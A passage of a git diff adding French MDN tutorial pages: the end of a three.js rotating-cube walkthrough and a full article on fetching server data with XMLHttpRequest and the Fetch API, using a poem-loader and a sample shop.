    Pour commencer, créez une copie locale de index.html dans un nouveau répertoire, et sauvegardez metal003.png dans ce même répertoire. C'est l'image que nous allons utiliser comme texture de surface du cube plus tard.

    +
    2. +
  2. +

    Ensuite, créez un nouveau fichier main.js, toujours dans le même répertoire.

    +
    3. +
  3. +

    Si vous ouvrez index.html dans votre éditeur de texte, vous verrez qu'il y a deux éléments {{htmlelement("script")}} — le premier ajoute three.min.js à la page, et le second ajoute notre fichier main.js à la page. Vous devez télécharger la bibliothèque three.min.js et la sauvegarder dans le même répertoire que précédemment.

    +
    4. +
  4. +

    Maintenant que nous avons inclus three.js dans notre page, nous pouvons commencer à écrire du code JavaScript qui l'utilise dans main.js. Commençons par créer une nouvelle scène — ajoutez ce qui suit dans le fichier main.js:

    + + 
    var scene = new THREE.Scene();
    + +

    Le constructeur Scene() crée une nouvelle scène, qui représente l'ensemble du monde 3D que nous essayons d'afficher.

    +
    5. +
  5. +

    Ensuite, nous avons besoin d'une caméra pour voir la scène. En terme d'imagerie 3D, la caméra représente la position du spectateur dans le monde. Pour ajouter une caméra, ajoutez les lignes suivantes à la suite:

    + + 
    var camera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000);
+camera.position.z = 5;
+
    + +

    Le constructeur PerspectiveCamera() prend quatre arguments:

    + +
      +
    • Le champ de vision: Quelle est la largeur de la zone devant la caméra qui doit être visible à l'écran, en degrés.
      • +
    • Le rapport d'aspect (aspect ratio): Habituellement, c'est le rapport entre la largeur de la scène divisé par la hauteur de la scène. Utiliser une autre valeur va déformer la scène (ce qui pourrait être ce que vous voulez, mais ce n'est généralement pas le cas).
      • +
    • Le plan proche (near plane): Jusqu'où les objets peuvent être proches de la caméra avant que nous arrêtions de les afficher à l'écran. Pensez-y comme quand vous approchez votre doigt de plus en plus près de l'espace entre vos yeux, vous finissez par ne plus le voir.
      • +
    • Le plan éloigné (far plane): Jusqu'à quelle distance de la caméra doit-on afficher les objets.
      • +
    + +

    Nous définissons également la position de la caméra à 5 unités de distance de l'axe Z, qui, comme en CSS, est hors de l'écran vers vous, le spectateur.

    +
    6. +
  6. +

    Le troisième ingrédient essentiel est un moteur de rendu. C'est un objet qui restitue une scène donnée, vu à travers une caméra donnée. Nous allons en créer dès à présent en utilisant le constructeur WebGLRenderer() — mais nous ne l'utiliserons que plus tard. Ajoutez les lignes suivantes à la suite de votre JavaScript:

    + + 
    var renderer = new THREE.WebGLRenderer();
+renderer.setSize(window.innerWidth, window.innerHeight);
+document.body.appendChild(renderer.domElement);
    + +

    La première ligne crée un nouveau moteur de rendu, la deuxième ligne définit la taille à laquelle le moteur de rendu va dessiner la vue de la caméra, et la troisième ligne ajoute l'élément {{htmlelement("canvas")}} crée par le moteur de rendu au {{htmlelement("body")}} du document. Désormais, tout ce que dessine le moteur de rendu sera affiché dans notre fenêtre.

    +
    7. +
  7. +

    Ensuite, nous voulons créer le cube que nous afficherons sur le canvas. Ajoutez le morceau de code suivant au bas de votre JavaScript:

    + + 
    var cube;
+
+var loader = new THREE.TextureLoader();
+
+loader.load( 'metal003.png', function (texture) {
+  texture.wrapS = THREE.RepeatWrapping;
+  texture.wrapT = THREE.RepeatWrapping;
+  texture.repeat.set(2, 2);
+
+  var geometry = new THREE.BoxGeometry(2.4, 2.4, 2.4);
+  var material = new THREE.MeshLambertMaterial( { map: texture, shading: THREE.FlatShading } );
+  cube = new THREE.Mesh(geometry, material);
+  scene.add(cube);
+
+  draw();
+});
    + +

    Il y a un peu plus à encaisser ici, alors allons-ici par étapes:

    + +
      +
    • Nous créons d'abord une variable globale cube pour pouvoir accéder à notre cube de n'importe où dans notre code.
      • +
    • Ensuite, nous créons un nouvel objet TextureLoader, et appellons load() dessus. La fonction load() prend deux paramètres dans notre exemple (bien qu'elle puisse en prendre plus): la texture que nous voulons charger (notre PNG), et la fonction qui sera exécutée lorsque la texture sera chargée.
      • +
    • À l'intérieur de cette fonction, nous utilisons les propriétés de l'objet texture pour spécifier que nous voulons une répétition 2 x 2 de l'image sur tous les côtés du cube.
      • +
    • Ensuite, nous créons un nouvel objet BoxGeometry et MeshLambertMaterial, que nous passons à un Mesh pour créer notre cube. Typiquement, un objet requiert une géométrie (quelle est sa forme) et un matériau (à quoi ressemble sa surface).
      • +
    • Pour finir, nous ajoutons notre cube à la scène, puis appellons la fonction draw() pour commencer l'animation.
      • +
    +
    8. +
  8. +

    Avant de définir la fonction draw(), nous allons ajouter quelques lumières à la scène, pour égayer un peu les choses; ajoutez le bloc suivant à la suite de votre code:

    + + 
    var light = new THREE.AmbientLight('rgb(255, 255, 255)'); // soft white light
+scene.add(light);
+
+var spotLight = new THREE.SpotLight('rgb(255, 255, 255)');
+spotLight.position.set( 100, 1000, 1000 );
+spotLight.castShadow = true;
+scene.add(spotLight);
    + +

    Un objet AmbientLight est une lumière douce qui illumine la scène entière, un peu comme le soleil comme vous êtes dehors. Un objet SpotLight, d'autre part, est un faisceau de lumière, plutôt comme une lampe de poche/torche (ou un spotlight - projecteur - en fait).

    +
    9. +
  9. +

    Pour finir, ajoutons notre fonction draw() au bas du code:

    + + 
    function draw() {
+  cube.rotation.x += 0.01;
+  cube.rotation.y += 0.01;
+  renderer.render(scene, camera);
+
+  requestAnimationFrame(draw);
+}
    + +

    C'est assez intuittif: sur chaque image, on fait légèrement tourner notre cube sur ses axes X et Y, affichons la scène telle qu'elle vue par notre caméra, puis appellons requestAnimationFrame() pour planifier le dessin de notre prochaine image.

    +
    10. +
+ +

Jetons un coup d'oeil rapide au produit fini:

+ +

{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/threejs-cube/index.html", '100%', 500)}}

+ +

Vous pouvez trouver le code terminé sur GitHub.

+ +
+

Note: Dans notre repo GitHub vous pouvez également trouver d'autres exemples 3D intéressants — Three.js Video Cube (le voir en direct). On utilise {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} pour prendre un flux vidéo à partir d'une webcam de l'ordinateur et le projetons sur le côté du cube comme texture!

+
+ +

Sommaire

+ +

À ce stade, vous devriez avoir une idée utile des bases de la programmation graphique en utilisant Canvas et WebGL et de ce que vous pouvez faire avec ces APIs. Vous pouvez trouver des endroits où aller pour trouver plus d'informations dans la section suivante. Amusez-vous!

+ +

Voir aussi

+ +

Nous n'avons couverts dans cet article que les vraies bases du canvas — il y a tellement plus à apprendre! Les articles suivants vous mèneront plus loin.

+ +
    +
  • Tutoriel canvas — Une série de tutoriels très détaillés qui explique ce que vous devriez savoir à propos du canvas 2D de manière beaucoup plus poussée qu'ici. Lecture indispensable.
    • +
  • Tutoriel WebGL — Une série de tutoriels qui enseigne les bases de la programmation WebGL brute.
    • +
  • Construire une démo basique avec Three.js — tutoriel Three.js basique. Nous avons également les guides équivalents pour PlayCanvas et Babylon.js.
    • +
  • Développement de jeux vidéos — La page d'atterrisage sur MDN pour le développement de jeux web. Il y a quelques tutoriels et techniques disponibles liés au canvas 2D et 3D — voir les options du menu Techniques et Tutoriels.
    • +
+ +

Exemples

+ +
    +
  • Violent theramin — Utilise l'API Web Audio pour générer des sons, et Canvas pour générer une visualisation.
    • +
  • Voice change-o-matic — Utilise un canvas pour visualiser en temps réel les données audio de l'API Web Audio.
    • +
+ +

{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}

+ +

 

+ +

Dans ce module

+ + diff --git a/files/fr/learn/javascript/client-side_web_apis/fetching_data/index.html b/files/fr/learn/javascript/client-side_web_apis/fetching_data/index.html new file mode 100644 index 0000000000..2acc2ed9b3 --- /dev/null +++ b/files/fr/learn/javascript/client-side_web_apis/fetching_data/index.html @@ -0,0 +1,397 @@ +--- +title: Récupérer des données du serveur +slug: Apprendre/JavaScript/Client-side_web_APIs/Fetching_data +tags: + - API + - Apprendre + - Article + - Codage + - Débutant + - Fetch + - JavaScript + - XHR + - data +translation_of: Learn/JavaScript/Client-side_web_APIs/Fetching_data +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs")}}
+ +

Une autre tâche courante dans les sites et applications web modernes est de récupérer des données à partir du serveur pour mettre à jour des sections de la page web sans la recharger entièrement. Ce qui pourrait paraître comme un petit détail a, en vérité, eu un impact énorme sur les performances et le comportement des sites. Dans cet article, nous allons expliquer le concept et les technologies qui rendent cela possible, tels que XMLHttpRequest et l'API Fetch.

+ + + + + + + + + + + + +
Prérequis :Notions de base de JavaScript (voir premiers pas, les briques JavaScript, les objets JavaScript), les notions de bases des APIs côté client
Objectif :Apprendre à récupérer des données du serveur web et les utiliser pour mettre à jour le contenu de la page.
+ +

Quel est le problème?

+ +

À la base, le chargement d'une page web est simple — vous envoyez une requête à un serveur et, tant qu'il n'y a pas eu de problème, les ressources de la page web sont téléchargées et affichées sur votre ordinateur.

+ +

A basic representation of a web site architecture

+ +

Le problème avec ce modèle c'est qu'à chaque fois que vous voulez mettre à jour une partie de la page, par exemple pour afficher la page suivante d'une liste de produits, vous devez recharger toute la page. Ce surcoût est tout à fait inutile et résulte en une mauvaise expérience utilisateur, particulièrement pour les pages qui sont lourdes, complexes et du coup longues à charger.

+ +

L'arrivée d'Ajax

+ +

Pour traiter ce problème, des technologies ont été élaborées qui permettent de récupérer à la demande de petites portions de données (comme du HTML, {{glossary("XML")}}, JSON, ou texte brut) et de les afficher dans la page web.

+ +

Nous avons pour cela l'API {{domxref("XMLHttpRequest")}} à notre disposition ou — plus récemment — l'API Fetch. Elles permettent de réaliser des requêtes HTTP pour récupérer des ressources spécifiques disponibles sur un serveur et de formater les données retournées selon les besoins avant l'affichage dans la page.

+ +
+

Note : Dans les premiers temps, cette technique était appelée "Asynchronous JavaScript and XML" (JavaScript asychrone et XML), dit AJAX, parce qu'elle utilisait {{domxref("XMLHttpRequest")}} pour requêter des données XML. De nos jours, c'est rarement le cas; la plupart du temps, on utilise XMLHttpRequest ou Fetch pour requêter des données JSON. Quoi qu'il en soit, le procédé reste le même et le terme "Ajax" est resté pour décrire cette technique.

+
+ +

A simple modern architecture for web sites

+ +

Le modèle Ajax implique une API web comme proxy pour requêter les données plus intelligemment que simplement rafraîchir la page à chaque fois. Voyons plutôt l'impact que cela a :

+ +
    +
  1. Allez sur un site riche en information de votre choix, comme Amazon, YouTube, CNN...
    2. +
  2. Cherchez quelque chose dans la barre de recherche, comme un nouveau produit. Le contenu principal va changer, mais la plupart de ce qui l'entoure reste statique, comme l'entête, le pied de page, le menu de navigation, etc.
    3. +
+ +

C'est une bonne chose puisque :

+ +
    +
  • La mise à jour de la page est beaucoup plus rapide et vous n'avez pas à attendre que la page se rafraîchisse, si bien que le site paraît être plus rapide et plus réactif.
    • +
  • Moins de données doivent être téléchargées pour mettre à jour la page, et donc moins de bande passante est utilisée. Cela ne fait peut-être pas une grande différence sur un ordinateur de bureau, mais cela peut devenir un problème majeur sur mobile ou dans les pays en développement, qui n'ont pas partout un service Internet ultra-rapide.
    • +
+ +

Notez que pour accélerer les choses encore davantage, certains sites stockent les ressources et données chez le client lors de sa première visite, si bien que les visites suivantes, les fichiers locaux sont utilisés et non re-téléchargés du serveur. Le contenu n'est rechargé que lorsqu'il a été mis à jour sur le serveur.

+ +

A basic web app data flow architecture

+ +

Une requête Ajax basique

+ +

Voyons maintenant comment ces requêtes sont gérées, en utilisant soit {{domxref("XMLHttpRequest")}} soit Fetch. Pour ces exemples, nous allons requêter les données de différents fichiers texte et les utiliserons pour remplir une zone de contenu.

+ +

Ces fichiers agiront comme une fausse base de données ; dans une vraie application, il est plus probable que vous utiliseriez un langage côté serveur comme PHP, Python, ou Node pour récupérer les données à partir d'une véritable base de données. En revanche, nous voulons ici garder les choses simples ; nous allons donc nous concentrer sur le côté client.

+ +

XMLHttpRequest

+ +

XMLHttpRequest (qui est fréquemment abrégé XHR) est une technologie assez vieille maintenant — elle a été inventée par Microsoft dans les années 90 et a été standardisée dans les autres navigateurs il y a longtemps.

+ +
    +
  1. +

    Pour commencer cet exemple, faites une copie locale de ajax-start.html et des quatre fichiers texte — verse1.txt, verse2.txt, verse3.txt, et verse4.txt — dans un nouveau répertoire sur votre ordinateur. Dans cet exemple, nous allons charger le verset d'un poème (que vous pourriez bien reconnaître), quand il est sélectionné dans le menu déroulant, en utilisant XHR.

    +
    2. +
  2. +

    À l'intérieur de l'élément {{htmlelement("script")}}, ajoutez le code qui suit. Il stocke une référence aux éléments {{htmlelement("select")}} et {{htmlelement("pre")}} dans des variables et définit un gestionnaire d'événement {{domxref("GlobalEventHandlers.onchange","onchange")}}, pour que, quand la valeur du menu déroulant est changée, la valeur sélectionnée soit passée comme paramètre à la fonction  updateDisplay().

    + + 
    var verseChoose = document.querySelector('select');
+var poemDisplay = document.querySelector('pre');
+
+verseChoose.onchange = function() {
+  var verse = verseChoose.value;
+  updateDisplay(verse);
+};
    +
    3. +
  3. +

    Définissons maintenant la fonction updateDisplay(). Tout d'abord, mettez ce qui suit au bas de votre JavaScript — c'est la structure vide de la fonction :

    + + 
    function updateDisplay(verse) {
+
+};
    +
    4. +
  4. +

    Nous allons commencer notre fonction en construisant une URL relative qui pointe vers le fichier texte que nous voulons charger, nous en aurons besoin plus tard. La valeur de l'élément {{htmlelement("select")}} à tout instant est la même que l'élément {{htmlelement("option")}} sélectionné (c'est à dire le texte de l'élément sélectionné, ou son attribut value s'il est spécifié) — par exemple "Verse 1". Le fichier correspondant est "verse1.txt" et il est situé dans le même répertoire que le fichier HTML, le nom du fichier seul suffira donc.

    + +

    Les serveurs web sont généralement sensibles à la casse, le nom de fichier n'a pas d'espace et a une extension de fichier. Pour convertir "Verse 1" en "verse1.txt" nous allons convertir le "V" en minuscles avec {{jsxref("String.toLowerCase", "toLowerCase()")}}, supprimer l'espace avec {{jsxref("String.replace", "replace()")}} et ajouter ".txt" à la fin avec une simple concaténation de chaînes. Ajoutez les lignes suivantes à l'intérieur de la fonction updateDisplay() :

    + + 
    verse = verse.replace(" ", "");
+verse = verse.toLowerCase();
+var url = verse + '.txt';
    +
    5. +
  5. +

    Pour commencer à créer une requête XHR, vous allez devoir créer un nouvel objet avec le constructeur {{domxref("XMLHttpRequest.XMLHttpRequest", "XMLHttpRequest()")}}. Vous pouvez appeler cet objet comme vous le voulez, mais nous l'appellerons request pour plus de clarté. Ajoutez ce qui suit à vos lignes précédentes :

    + + 
    var request = new XMLHttpRequest();
    +
    6. +
  6. +

    Ensuite, vous allez devoir utiliser la méthode {{domxref("XMLHttpRequest.open","open()")}} pour spécifier la méthode HTTP et l'URL à utiliser pour récupérer la ressource. Nous allons ici utiliser la méthode GET et passer notre variable url pour URL. Ajoutez ceci à la suite de la ligne précédente :

    + + 
    request.open('GET', url);
    +
    7. +
  7. +

    Nous allons définir le type de réponse que nous attendons — définit par la propriété {{domxref("XMLHttpRequest.responseType", "responseType")}} de la requête — comme text. Ce n'est pas strictement nécessaire ici — XHR retourne du texte par défaut — mais c'est une bonne idée d'en prendre l'habitude pour les cas où vous aurez besoin de définir un type différent. Ajoutez ceci à la suite :

    + + 
    request.responseType = 'text';
    +
    8. +
  8. +

    Récupérer une ressource sur le réseau est une opération {{glossary("asynchronous","asynchrone")}}, ce qui signifie que vous devez attendre que cette opération se termine (par exemple, que la ressource soit renvoyée) avant de pouvoir récupérer la réponse — sans quoi une erreur est levée. XHR permet d'exécuter du code lorsque la réponse est reçue grâce au gestionnaire d'événement {{domxref("XMLHttpRequest.onload", "onload")}} — quand l'événement {{event("load")}} est déclenché. Une fois que la réponse a été reçue, alors la réponse est accessible via la propriété response de l'objet XHR utilisé.

    + +

    Ajoutez le bloc de code qui suit toujours au bas de la fonction updateDisplay(). Vous verrez qu'à l'intérieur du gestionnaire d'événément onload, nous assignons la propriété textContent de poemDisplay (l'élément {{htmlelement("pre")}}) à la valeur de la propriété {{domxref("XMLHttpRequest.response", "request.response")}}.

    + + 
    request.onload = function() {
+  poemDisplay.textContent = request.response;
+};
    +
    9. +
  9. +

    Les étapes précédentes nous ont permis de configurer la requête XHR, mais celle-ci n'est exécutée que lorsqu'on le demande explicitement. Pour ce faire, il faut appeler la méthode {{domxref("XMLHttpRequest.send","send()")}}. Ajoutez la ligne suivante à la suite du code déjà écrit :

    + + 
    request.send();
    + +

    Voyez la section {{anch("Serving your example from a server", "Servir votre exemple depuis un serveur")}} pour pouvoir tester.

    +
    10. +
  10. +

    Un dernier problème avec cet exemple est qu'il ne montre rien au chargement de la page (mais uniquement à la sélection d'un verset). Pour corriger cela, ajoutez ce qui suit au bas de votre code (juste au-dessus de la balise fermante </script>), pour charger le verset 1 par défaut, et s'assurer que l'élément {{htmlelement("select")}} montre toujours la bonne valeur :

    + + 
    updateDisplay('Verse 1');
+verseChoose.value = 'Verse 1';
    +
    11. +
+ +

Servir votre exemple depuis un serveur

+ +

Certains navigateurs (dont Chrome) n'exécuteront pas de requêtes XHR si vous exécutez votre script simplement à partir d'un fichier local. Cela est dû à des restrictions de sécurité (pour plus d'infos sur la sécurité web, consultez l'article La sécurité d'un site web).

+ +

Pour règler ce problème, vous devez tester l'exemple à travers un serveur web local. Pour savoir comment procéder, lisez Comment configurer un serveur de test local?

+ +

Fetch

+ +

L'API Fetch est une solution moderne qui vient remplacer XHR — elle a été introduite récemment dans les navigateurs pour rendre les requêtes HTTP asynchrones plus simples en JavaScript, à la fois pour les développeurs et pour les autres APIs qui utilisent cette technologie.

+ +

Voyons comment convertir le dernier exemple, en remplaçant XHR par Fetch.

+ +
    +
  1. +

    Faites une copie du répertoire de votre dernier exemple. (Ou si vous ne l'avez pas fait, créez un nouveau répertoire et copiez le fichier xhr-basic.html et les quatre fichiers texte — verse1.txt, verse2.txt, verse3.txt, and verse4.txt — à l'intérieur).

    +
    2. +
  2. +

    À l'intérieur de la fonction updateDisplay(), vous avez le code XHR suivant :

    + + 
    var request = new XMLHttpRequest();
+request.open('GET', url);
+request.responseType = 'text';
+
+request.onload = function() {
+  poemDisplay.textContent = request.response;
+};
+
+request.send();
    +
    3. +
  3. +

    Remplacez-le avec ce qui suit :

    + + 
    fetch(url).then(function(response) {
+  response.text().then(function(text) {
+    poemDisplay.textContent = text;
+  });
+});
    +
    4. +
  4. +

    Chargez l'exemple dans votre navigateur (en l'exécutant à travers un serveur web) et il devrait produire le même résultat que la version XHR  — pourvu que vous utilisiez un navigateur moderne.

    +
    5. +
+ +

Que se passe-t-il dans le code Fetch?

+ +

Tout d'abord, nous invoquons la méthode {{domxref("WindowOrWorkerGlobalScope.fetch()","fetch()")}}, en lui passant l'URL de la ressource que nous voulons récupérer. C'est la version moderne équivalente à {{domxref("XMLHttpRequest.open","request.open()")}} de XHR, et n'avez pas à appeler .send() — la requête est exécutée directemment.

+ +

Ensuite, la méthode {{jsxref("Promise.then",".then()")}} est chaînée à la suite de fetch() — cette méthode fait partie des {{jsxref("Promise","Promesses")}}, une fonctionnalité JavaScript moderne qui permet d'effectuer des opérations asynchrones. fetch() retourne une promesse, qui est résolue lorsque la réponse est reçue du serveur — et nous utilisons .then() pour exécuter du code à ce moment là. C'est l'équivalent du gestionnaire d'événément onload dans la version XHR.

+ +

La fonction définie dans le .then() reçoit la réponse du serveur comme paramètre, une fois que la promesse retournée par fetch() est résolue. À l'intérieur de cette fonction, nous utilisons la méthode {{domxref("Body.text","text()")}} pour récupérer le contenu de la réponse en texte brut. C'est l'équivalent de request.responseType = 'text' dans la version XHR.

+ +

Vous verrez que text() retourne également une promesse, nous y chaînons donc un nouveau .then(), à l'intérieur de quoi nous définissons une fonction. Cette dernière récupère quant à elle le texte brut que la promesse précédente résout.

+ +

Enfin, dans le corps de la fonction, nous faisons la même chose que nous faisions dans la version XHR — définir le contenu texte de l'élément {{htmlelement("pre")}} au texte récupéré.

+ +

À propos des promesses

+ +

Les promesses peuvent être un peu déroutantes au premier abord, ne vous en souciez pas trop pour l'instant. Vous vous y ferez après un certain temps, d'autant plus après en avoir appris davantage sur les APIs JavaScript modernes — la plupart des APIs récentes utilisent beaucoup les promesses.

+ +

Regardons à nouveau la structure d'une promesse pour voir si nous pouvons en donner plus de sens.

+ +

Promesse 1

+ +
fetch(url).then(function(response) {
+  //...
+});
+ +

Si l'on traduit en bon français les instructions JavaScript, on pourrait dire

+ +
    +
  • fetch(url) : récupérer la ressource située à l'adresse url
    • +
  • .then(function() { ... }): quand c'est fait, exécuter la fonction spécifiée
    • +
+ +

On dit qu'une promesse est "résolue" (resolved) lorsque l'opération spécifiée à un moment donné est terminée. En l'occurence, l'opération spécifiée est de récupérer une ressource à une URL donnée (en utilisant une requête HTTP) et de retourner la réponse reçue du serveur.

+ +

La fonction passée à then() n'est pas exécutée immédiatement — elle est exécutée à un moment dans le futur, dès que la promesse est résolue (c'est à dire qu'elle a retourné la réponse du serveur).

+ +

Notez que vous pouvez également choisir de stocker votre promesse dans une variable, et de chaîner le {{jsxref("Promise.then",".then()")}} sur cette variable. L'exemple suivant fait la même chose que le précédent :

+ +
var myFetch = fetch(url);
+
+myFetch.then(function(response) {
+  //...
+});
+ +

Parce que la méthode fetch() retourne une promesse qui résout une réponse HTTP, la fonction définie à l'intérieur du .then() reçoit la réponse en tant que paramètre. Vous pouvez appeler le paramètre comme vous souhaitez — l'exemple ci-dessous fait toujours la même chose :

+ +
fetch(url).then(function(dogBiscuits) {
+  //...
+});
+ +

Mais il est plus logique de donner un nom de paramètre qui décrit son contenu !

+ +

Promesse 2

+ +

Voyons maintenant la fonction appelé dans .then():

+ +
function(response) {
+  response.text().then(function(text) {
+    poemDisplay.textContent = text;
+  });
+}
+ +

L'objet response a une méthode {{domxref("Body.text","text()")}}, qui convertit les données brutes contenues dans la réponse en texte brut — c'est le format que nous voulons. Cette méthode retourne également une promesse, qui se résout lorsque la réponse est convertie en texte, nous utilisons donc un deuxième {{jsxref("Promise.then",".then()")}} pour cette deuxième promesse.

+ +

À l'intérieur de ce dernier .then(), nous définissons une nouvelle fonction, qui décide de ce que nous faisons avec le texte récupéré. Nous nous contentons de définir la propriété textContent de l'élément {{htmlelement("pre")}} à la valeur du texte.

+ +

Chaîner les then()

+ +

Notez que le résultat de la fonction appelée par le .then() est également retourné par ce dernier, nous pouvons donc mettre les .then() bout à bout, en passant le résultat du bloc précédent au prochain.

+ +

Ainsi, le bloc de code suivant fait la même chose que notre exemple original, mais écrit dans un style différent :

+ +
fetch(url).then(function(response) {
+  return response.text()
+}).then(function(text) {
+  poemDisplay.textContent = text;
+});
+ +

Beaucoup de développeurs préfèrent ce style, plus "plat" : il évite de définir des fonctions à l'intérieur de fonctions et est plus facile à lire lorsqu'il y a beaucoup de promesses qui s'enchaînent. La seule différence ici est que nous avons une instruction return pour retourner response.text(), et ce résultat est passé au prochain .then().

+ +

Quel mécanisme devriez-vous utiliser?

+ +

Cela dépend du projet sur lequel vous travaillez. XHR existe depuis longtemps maintenant et bénéficie d'un très bon support sur les différents navigateurs. Fetch et les promesses, en revanche, sont un ajout plus récent à la plateforme web, bien qu'ils soient pris en charge par la plupart des navigateurs, Internet Explorer et Safari font exception.

+ +

Si vous voulez un support des anciens navigateurs, alors XHR est probablement la solution préférable. En revanche, si vous travaillez sur un projet plus progressif, et que vous n'êtes pas tant préoccupé par les anciens navigateurs, alors Fetch peut être un bon choix.

+ +

Vous devriez apprendre les deux alternatives — Fetch deviendra plus populaire au fur et à mesure que l'utilisation d'Internet Explorer diminue (IE n'est plus développé, en faveur du nouveau navigateur de Microsoft, Edge), mais vous allez avoir besoin de XHR pendant un moment encore.

+ +

Un exemple plus complexe

+ +

Pour clore l'article, nous allons regarder un exemple un peu plus complexe, qui montre des utilisations plus intéressantes de Fetch. Nous avons créé un site d'exemple appelé The Can Store (le magasin de conserves) — c'est un supermarché fictif qui ne vend que des boites de conserves. Vous pouvez trouver cet exemple en direct sur GitHub, et voir le code source.

+ +

A fake ecommerce site showing search options in the left hand column, and product search results in the right hand column.

+ +

Par défaut, le site affiche tous les produits ; mais vous pouvez utiliser le formulaire dans la colonne de gauche pour les filtrer par catégorie, ou chercher un terme, ou les deux.

+ +

Il y a du code plutôt complexe pour traiter le filtrage des produits par catégorie et par terme de recherche, manipulant les chaînes de caractères pour afficher les données correctement dans l'interface utilisateur, etc. Nous n'allons pas en discuter dans cet article, mais vous pouvez trouver des commentaires très complets dans le code (voir can-script.js). Nous allons expliquer le code Fetch.

+ +

Premier Fetch

+ +

Le premier bloc qui utilise Fetch se trouve au début du JavaScript :

+ +
fetch('products.json').then(function(response) {
+  if(response.ok) {
+    response.json().then(function(json) {
+      products = json;
+      initialize();
+    });
+  } else {
+    console.log('Network request for products.json failed with response ' + response.status + ': ' + response.statusText);
+  }
+});
+ +

Cela ressemble à ce que vous avons vu précédemment, sauf que la deuxième promesse est à l'intérieur d'une condition. Cette condition vérifie si la réponse retournée est un succès ou non — la propriété {{domxref("response.ok")}} contient un booléen qui vaut true si le statut de la réponse était OK (statut HTTP 200, "OK"), ou false sinon.

+ +

Si la réponse était un succès, nous déclenchons la deuxième promesse — cette fois-ci en utilisant {{domxref("Body.json","json()")}} et non {{domxref("Body.text","text()")}}, puisque nous voulons récupérer la réponse sous forme de données structurées JSON et non de texte brut.

+ +

Si la réponse n'est pas un succès, nous affichons une erreur dans la console indiquant que la requête réseau a échoué, avec le statut et le message obtenus (contenus dans les propriétés {{domxref("response.status")}} et {{domxref("response.statusText")}} respectivement). Bien sûr, un véritable site web traiterait cette erreur plus gracieusement, en affichant un message à l'écran en offrant peut-être des options pour remédier à la situation.

+ +

Vous pouvez tester le cas d'échec vous-même :

+ +
    +
  1. Faites une copie locale des fichiers d'exemple (téléchargez et dézippez le fichier ZIP can-store)
    2. +
  2. Éxecutez le code via un serveur web (comme vu précédemment dans {{anch("Serving your example from a server", "Servir votre exemple depuis un serveur")}})
    3. +
  3. Modifiez le chemin du fichier à récupérer, mettez un nom de fichier qui n'existe pas, comme 'produc.json'.
    4. +
  4. Maintenant, chargez le fichier index dans votre navigateur (via localhost:8000) et regardez dans la console de développement. Vous verrez un message parmi les lignes "Network request for products.json failed with response 404: File not found" (la requête réseau pour products.json a échoué avec la réponse 404: Fichier non trouvé).
    5. +
+ +

Deuxième Fetch

+ +

Le deuxième bloc Fetch se trouve dans la fonction fetchBlob():

+ +
fetch(url).then(function(response) {
+  if(response.ok) {
+    response.blob().then(function(blob) {
+      objectURL = URL.createObjectURL(blob);
+      showProduct(objectURL, product);
+    });
+  } else {
+    console.log('Network request for "' + product.name + '" image failed with response ' + response.status + ': ' + response.statusText);
+  }
+});
+ +

Cela fonctionne à peu près de la même manière que le précédent, sauf qu'au lieu d'utiliser {{domxref("Body.json","json()")}}, on utilise {{domxref("Body.blob","blob()")}} — en l'occurence, nous voulons récupérer la réponse sous la forme d'un fichier image, et le format de données que nous utilisons est Blob — ce terme est une abbréviation de "Binary Large Object" (large objet binaire) et peut être utilisé pour représenter de gros objets fichier — tels que des fichiers images ou vidéo.

+ +

Une fois que nous avons reçu notre blob avec succès, nous créons un objet URL, en utilisant {{domxref("URL.createObjectURL()", "createObjectURL()")}}. Cela renvoie une URL interne temporaire qui pointe vers un blob en mémoire dans le navigateur. Cet objet n'est pas très lisible, mais vous pouvez voir à quoi il ressemble en ouvrant l'application Can Store, Ctrl + Clic droit sur l'image, et sélectionner l'option "Afficher l'image" (peut légèrement varier selon le navigateur que vous utilisez). L'URL créée sera visible à l'intérieur de la barre d'adresse et devrait ressembler à quelque chose comme ça :

+ +
blob:http://localhost:7800/9b75250e-5279-e249-884f-d03eb1fd84f4
+ +

Challenge : une version XHR de Can Store

+ +

Comme exercice pratique, nous aimerions que vous essayiez de convertir la version Fetch de l'application en une version XHR. Faites une copie du fichier ZIP et essayiez de modifier le JavaScript en conséquence.

+ +

Quelques conseils qui pourraient s'avérer utiles :

+ +
    +
  • Vous pourriez trouver la référence {{domxref("XMLHttpRequest")}} utile.
    • +
  • Vous allez devoir utiliser le même modèle que vous avez vu plus tôt dans l'exemple XHR-basic.html.
    • +
  • Vous devrez ajouter la gestion des erreurs que nous vous avons montré dans la version Fetch de Can Store : +
      +
    • La réponse se situe dans request.response une fois que l'événement load a été déclenché et non dans une promesse.
      • +
    • Le meilleur équivalent à response.ok en XHR est de vérifier si {{domxref("XMLHttpRequest.status","request.status")}} vaut 200 ou si {{domxref("XMLHttpRequest.readyState","request.readyState")}} est égal à 4.
      • +
    • Les propriétés permettant d'obtenir le status et le message en cas d'erreur sont toujours status et statusText mais elles se situent sur l'objet request (XHR) et non sur l'objet response.
      • +
    +
    • +
+ +
+

Note : Si vous avez des difficultés à le faire, vous pouvez comparer votre code à la version finale sur GitHub (voir le code source, ou voir en direct).

+
+ +

Sommaire

+ +

Voilà qui clôt notre article sur la récupération de données à partir du serveur. À ce stade, vous devriez savoir comment travailler avec XHR et Fetch.

+ +

Voir aussi

+ +

Il y a beaucoup de sujets abordés dans cet article, dont nous n'avons qu'égratigné la surface. Pour plus de détails sur ces sujets, essayez les articles suivants:

+ + + +
{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs")}}
+ +
+

Dans ce module

+ + +
